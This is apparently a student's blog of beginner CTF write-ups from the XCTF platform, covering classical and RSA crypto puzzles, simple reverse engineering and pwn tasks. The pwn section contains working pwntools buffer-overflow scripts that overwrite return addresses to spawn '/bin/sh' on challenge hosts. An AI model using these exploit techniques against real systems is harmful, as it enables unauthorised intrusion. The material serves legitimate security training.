攻防世界 刷题记录

写在前面:

Crtpto: 老师要求这两天只能写密码学的题,于是顺便记录一下攻防世界的密码学题目(新手模式),大都难度不大,主要是做一下有个印象,顺便记录相应的在线解码网站,方便下次直接使用。

pwn、re: 到了自己最不擅长的方向了,看着别人的writeup,尽量去学习吧

一些图片老师要求截全屏,可能会有点影响观看

Crypto

base64

顾名思义,一个base加密的密文,解码就得到flag了

BASE64编码解码 - Bugku CTF

Caesar

Caesar的英语意思就是凯撒,直接放在凯撒密文解密网站上解密,然后枚举偏移量,得到flag

凯撒(Caesar)加密/解密 - Bugku CTF

Morse

Morse意思就是莫尔斯,哈哈哈哈哈哈,还没打开题目就知道是莫尔斯密文了,这就是翻译题目的好处

但是打开题目却是一段只有0和1的密文

1
11 111 010 000 0 1010 111 100 0 00 000 000 111 00 10 1 0 010 0 000 1 00 10 110

和莫尔斯密文的格式不一样,因此试一下将1改成 - ,将0改成 .

空格的地方用/隔开

1
--/---/.-./..././-.-./---/-.././../.../.../---/../-./-/./.-././.../-/../-./--.

得到

1
M O R S E C O D E I S S O I N T E R E S T I N G 

改一下flag格式(记得全为小写),得到flag

在线摩斯电码加密解密 - 码工具 (matools.com)

Broadcast

题目意思是广播,暂时没什么想法,打开题目看看,下载下来压缩包打开

里面有一个.py文件,打开查看代码,拿到了flag

hidden key

还是把压缩包下载下来,解压并打开,一个.py文件,老样子先打开看一下,

直接运行还会报错,因此需要下载Crypto这个module

1
pip install pycryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple

装好后,构造payload,在运行一下,得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import  random
import hashlib
from Crypto.Util.number import *

# [140, 96, 112, 178, 38, 180, 158, 240, 179, 202, 251, 138, 188, 185, 23, 67, 163, 22, 150, 18, 143, 212, 93, 87, 209, 139, 92, 252, 55, 137, 6, 231, 105, 12, 65, 59, 223, 25, 179, 101, 19, 215]
# 2669175714787937

enc = [140, 96, 112, 178, 38, 180, 158, 240, 179, 202, 251, 138, 188, 185, 23, 67, 163, 22, 150, 18, 143, 212, 93, 87, 209, 139, 92, 252, 55, 137, 6, 231, 105, 12, 65, 59, 223, 25, 179, 101, 19, 215]

def rand(rng):
return rng - random.randrange(rng)

for idx in range(2669175714787937 << 12, (2669175714787937 << 12) + 4096):
key = long_to_bytes(idx)
random.seed(int(hashlib.md5(key).hexdigest(), 16))
flag = ""
for i in range(len(enc)):
rand(256)
xor = enc[i] ^ rand(256)
flag += chr(xor)
#
if 'flag' in flag:
print("flag is: {}\nkey is: {}".format(flag, idx))

flag_in_your_hand

在浏览器运行那个html文件,随便输入,发现没什么头绪,直接审计代码,js代码的一部分

1
2
3
4
5
6
7
var a = [118, 104, 102, 120, 117, 108, 119, 124, 48,123,101,120];
if (s.length == a.length) {
for (i = 0; i < s.length; i++) {
if (a[i] - s.charCodeAt(i) != 3)
return ic = false;
}
return ic = true;

意思是我们需要输入长度与a一致,每个数字减3 得到的ascii 码所对应的字符

1
115101991171141051161214512098117

接着去将其转码成字符 ASCII码转字符串 - ASCII码 (asciim.cn)

在html页面输入,得到flag

flag_in_your_hand1

打开还是一个html一个js文件

感觉跟flag_in_your_hand那题差不多呀

老样子,还是审计代码

1
2
3
4
5
6
7
8
9
10
var a = [118, 104, 102, 120, 117, 108, 119, 124, 48,123,101,120];
if (s.length == a.length) {
for (i = 0; i < s.length; i++) {
if (a[i] - s.charCodeAt(i) != 3)
return ic = false;
}
return ic = true;
}
return ic = false;
}

这不是和上一题一模一样吗?离谱

还是传入security-xbu,得到flag

真的离谱,答案都一样

不仅仅是Morse

打开是一串莫尔斯密文,解密后,还是一段密文

可以看出,开头说的是may be have another decode,再看下面那只有AB的密文,不难看出是培根密文,于是培根解密(采用不同编码的解密方式)得到flag

培根密码解密_培根密码转换器-ME2在线工具 (metools.info)

safer-than-rot13

看题目可以知道,有考察rot13加密,接着下载安装包,打开看看,一段看似无规律的密文,先rot13看看 CTF在线工具-在线Rot13密码

接着放到密文爆破网站上爆破(后来才知道是词频分析在线工具hhhhh) quipqiup

感觉第一个最像答案,翻译一下,发现flag

1
no_this_is_not_crypto_my_dear

告诉你个秘密

1
636A56355279427363446C4A49454A7154534230526D684356445A31614342354E326C4B4946467A5769426961453067

一眼16进制,先16进制转字符, 16进制转换

1
cjV5RyBscDlJIEJqTSB0RmhCVDZ1aCB5N2lKIFFzWiBiaE0g

在base64看看什么情况,还是看不出什么

1
r5yG lp9I BjM tFhB T6uh y7iJ QsZ bhM

看了别人的WP才知道,是键盘密码,没找到解密网站,但找到了加密原理,亲自动手解密,得到flag

1
TONGYUAN   (小写行不通)

你猜猜

还是一眼16进制,转码发现是乱码,但有一部分是flag.txt,再去看看原来的密文,发现为什么前面的504B好像哪里见过,查了一下原来是zip的文件头(原来协会的wiki讲过了,我给忘了)

于是将16进制码,复制到文本上,再将后缀改成zip,变成压缩包

好吧,这样好像行不通

网上找了一下方法,再加上自己的摸索,将那串16进制码复制到WinHex的编辑的剪切板粘贴,然后以zip的形式保存到桌面

发现解压需要密码

用ARCHPR尝试爆破

破出密码是123456,接着输入密码解压,打开flag.txt文件,得到flag

Railfence

看题目的描述,已经密文的格式,不难猜出是栅栏密码

放在栅栏密码解码网站上解码(栏目数5),得到flag

栅栏密码在线加密

cr3-what-is-this-encryption

参考文章

题目有p,q,e,联想到了RSA加密

大致思路:

先把p,q,e转成十进制,再根据公式求出n,d,m

n=p*q
φ(N) = (p-1)(q-1)
e * d % φ(N) = 1(d是私钥,e是公钥)
m=c^ d mod n (m是明文)

网上找了个脚本

跑一下就得到flag了

[简单] 初识RSA

题目自己告诉我们是RSA了,打开是一个python的代码,

根据代码,对之前找的脚本稍微修改一下,运行就能得到flag了

baigeiRSA

还是一道RSA题目,打开给了一个out文件,和一个python代码,内容如下

现在已知e、n、c的值,但还需要得到q和p的值,因为n=q*p

所以可以通过yafu工具和在线网站算出来,这里使用的是网站http://www.factordb.com/index.php(1024位不行)

得到

1
2
q = 274539690398523616505159415195049044439
p = 322368694010594584041053487661458382819

将这两个值带入准备好的脚本,再运行,得到flag

工业协议分析2

题目描述已经说了有流量异常,下载下来是一个.pcapng文件,于是用Wireshark打开查看流量,但是太多了,一个一个找太慢了,官方wp写的是长度12,89,104,105,131,137对应的流量包是异常点,但从别人的wp中我了解到,可以直接查找flag这个字段,查不到的话,再试看看查flag的16进制666c6167

果然查到了

将匹配到的字段复制下来

1
666c61677b37466f4d3253746b6865507a7d

16进制转成字符串得到flag

cr4-poor-rsa

下载下来压缩包,解压得到一个key.pub一个flag.b64,简单看了一下,说实话,没什么思路,于是看了别人的wp

先来一个脚本,从key.pub中解出

1
2
n =  833810193564967701912362955539789451139872863794534923259743419423089229206473091408403560311191545764221310666338878019
e = 65537

在从factordb网站中由n分离出p和q

1
2
p = 863653476616376575308866344984576466644942572246900013156919
q = 965445304326998194798282228842484732438457170595999523426901

接着将这些都填入脚本,运行得到flag

shanghai

题目描述已经告诉我们是维吉利亚密码了,于是将压缩包下载下来,打开

直接放在在线维吉利亚密码网站解密,发现flag

解密网站https://guballa.de/vigenere-solver

Re(逆向)

insanity

将题目文件下载下来,右键,选择打开方式为记事本打开,就可以发现flag。

1
9447{This_is_a_flag}

re1

下载下来一个应用程序,先直接运行一下看看,

让我们输入flag,随便输入几个字母看看,发现flag不对就不能看到flag,接着就退出程序了

于是先丢进去软件查一下壳吧

发现没壳,32位的程序,那就好办了,接着扔进IDA(32)看看

按tab,然后点击ok,发现一个printf(aFlag_0);,于是双击看看

可以看到了两组十六进制字符,有点可疑,于是右键转换,反转一下字符,拼接起来,就能得到flag了

在线字符串反转

game

还是个可执行程序,运行看看

算了,让我玩游戏,既然是re,还是不玩了,走正常的流程。老样子,先查壳

依旧是32位,没壳,于是丢进ida(32)

找到程序入口,按tab,在结尾发现sub_457AB4()函数,双击进入,跟着查看另一个函数,发现想要的flag内容,这个应该是最后输出flag的地方

搜了一下,发现这个代码意思是v3以下的和v60以上异或在和0x13异或

难受,发现还得写个代码来输出flag的内容,于是干脆用python写一下,运行让它输出flag

1
2
3
4
5
6
7
a=[123,32,18,98,119,108,65,41,124,80,125,38,124,111,74,49,83,108,94,108,84,6,96,83,44,121,104,110,32,95,117,101,99,123,127,119,96,48,107,71,92,29,81,107,90,85,64,12,43,76,86,13,114,1,117,126,0]
b=[ 18, 64, 98, 5, 2, 4, 6, 3, 6, 48, 49, 65, 32, 12, 48, 65, 31, 78, 62, 32, 49, 32, 1, 57, 96, 3, 21, 9, 4, 62, 3, 5, 4, 1, 2, 3, 44, 65, 78, 32, 16,97,54,16,44,52,32,64,89,45,32,65,15,34,18,16,0]
l=len(a)
for i in range(l):
ch=chr(a[i]^b[i]^0x13)
print(ch,end="")

Hello, CTF

依旧是老样子,下载下来,先查壳

还是32位,没壳,接下来还是丢IDA看看

tab查看代码,直接发现一个16进制密文

直接放到在线16进制转字符串网站,转换得到flag(就是这个flag格式有点奇怪,一开始我是我相信它是flag的)

open-source

这次下载下来是一个从,语言代码,打开审计一下

代码需要让它不满足满足:(first != 0xcafe)和(second % 5 == 3 || second % 17 != 8)

于是令argv[1] = 0xcafe、argv[2] = 25和argv[3] = “h4cky0u”

由此构造出新的代码,运行得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
int first = 0xcafe;
int second = 25;
argv[3] = "h4cky0u";
unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207;
printf("Get your key: ");
printf("%x\n", hash);
system("PAUSE");
return 0;
}

simple-unpack

题目说了是一个加壳的二进制文件,但是我这个好像是非预期解

就是右击文件,选择记事本的打开方式打开,Ctrl+f 搜索flag,发现字符串flag

但是虽然能发现flag,但有一部分是乱码的,于是用winhex打开,就能得到正确的字符串了

好像还是不行,需要把那个乱码的部分去掉,才是正确的flag

easyRE1

下载下来压缩包,解压得到俩文件,一个32位一个64位,随便选一个用记事本方式打开,直接就看到flag了,而且不用转字符串,需要包上flag{}

lucknum

直接拖进IDA64位打开,tab转换成伪代码,直接得到flag

1000Click

下载下来,可以直接运行,点击1000次就能得到flag了,

但还是想试试逆向的方式解题,先查壳

32位,没壳,丢进IDA32

点search搜索flag,就找到flag了

Pwn

get_shell

这个应该算个入门题,甚至不用去分析它的源码附件,打开kali,nc 连接靶机地址就出来了flag

1
2
nc 61.147.171.105 63826
cat flag

hello pwn

先下载下来附件,在nc连接看看

发现不能直接执行指令,乱输也是直接退出,因此把下载下来的附件丢进ida看看

分析main函数这个入口

if ( dword_60106C == 1853186401 )
sub_400686()

发现如果if成立,就能执行该sub_400686()函数,从而cat flag.txt输出flag

再观察unk_601068函数,发现60106C和601068的偏移为4,而且1853186401转化为字符是nuaa

因此,只要输入后4位为aaun(反着来)的一个8位的字符串就能得到flag

level0

详细的wp

关于checksec的使用:

下载下来附件,拖进kali,先checksec一下

1
checksec 291721f42a044f50a2aead748d539df0

然后用64位的IDA打开,分析一下

可以看到调用了一个vulnerable_function函数,进去看看,

不是很懂,看一下别人的wp,思路就是:先把buf填满,然后64位ret填8个字符,然后通过字符串找到system函数的地址,输入,实现调用。

exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *

r = remote('61.147.171.105',60060)

func_addr = 0x0400596
payload = b'a'*0x80 + b'a'*8 + p64(func_addr)

r.sendline(payload)
r.interactive()

接着拿到shell,后得到了flag

level2

把附件下载下来,然后用checksec检查一下,发现这次开启了NX保护,并且是32位的

于是用32位的IDA打开看看,mian函数中没什么东西,就vulnerable_function这个可以的地方,于是进入vulnerable_function看看,发现read函数,不难看出这个就是溢出点

然后分别在字符串窗口找到read函数地址,和在import窗口找到system地址

偏移量为0x88+4,构造出payload

1
2
3
4
5
6
7
8
9
10
from pwn import *

io = remote('220.249.52.133',44159)
sys_addr = 0x0804845C
sh_addr = 0x0804A024

payload = b'A' * (0x88 + 0x4) + p32(sys_addr) + p32(sh_addr)
io.sendlineafter("Input:\n",payload)
io.interactive()

接着就是一样的步骤,就能拿到flag了

pwnstack

下载压缩包解压,打开发现有pwn2和libc.so.6

先用checksec检查一下pwn2

开启了NX,并且是64位的,丢进IDA64看看

发现vuln()函数的read()存在溢出,需要覆盖vuln的返回地址,使其指向system(‘/bin/sh’)即可,于是计算偏移量0xA0,找到/bin/sh的地址

构造exp

1
2
3
4
5
6
7
8
from pwn import *

io=remote("61.147.171.105",57706)

payload=b'A'*0xa0+b'A'*8+p64(0x400762)
io.send(payload)

io.interactive()

拿到flag

cgpwn2

下载下来,checkesc检查一下

开启了NX保护的32位文件,用ida32位打开

通过查看伪代码,可以找到main中的hello()函数存在溢出漏洞

于是我们可以利用栈溢出返回地址到system函数处,然后给他一个/bin/sh字符串就能拿到shell

然后构造出脚本,运行得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

io = remote('61.147.171.105',64241)

system = 0x08048420
bin_sh = 0x0804A080

io.recvuntil("please tell me your name")
io.sendline('/bin/sh')
io.recvuntil("hello,you can leave some message here:")
payload = b'a' * (0x26 + 4) + p32(system) + b'aaaa' + p32(bin_sh)
io.sendline(payload)
io.interactive()


攻防世界 刷题记录
https://www.supersmallblack.cn/攻防世界 刷题记录.html
作者
Small Black
发布于
2023年3月1日
许可协议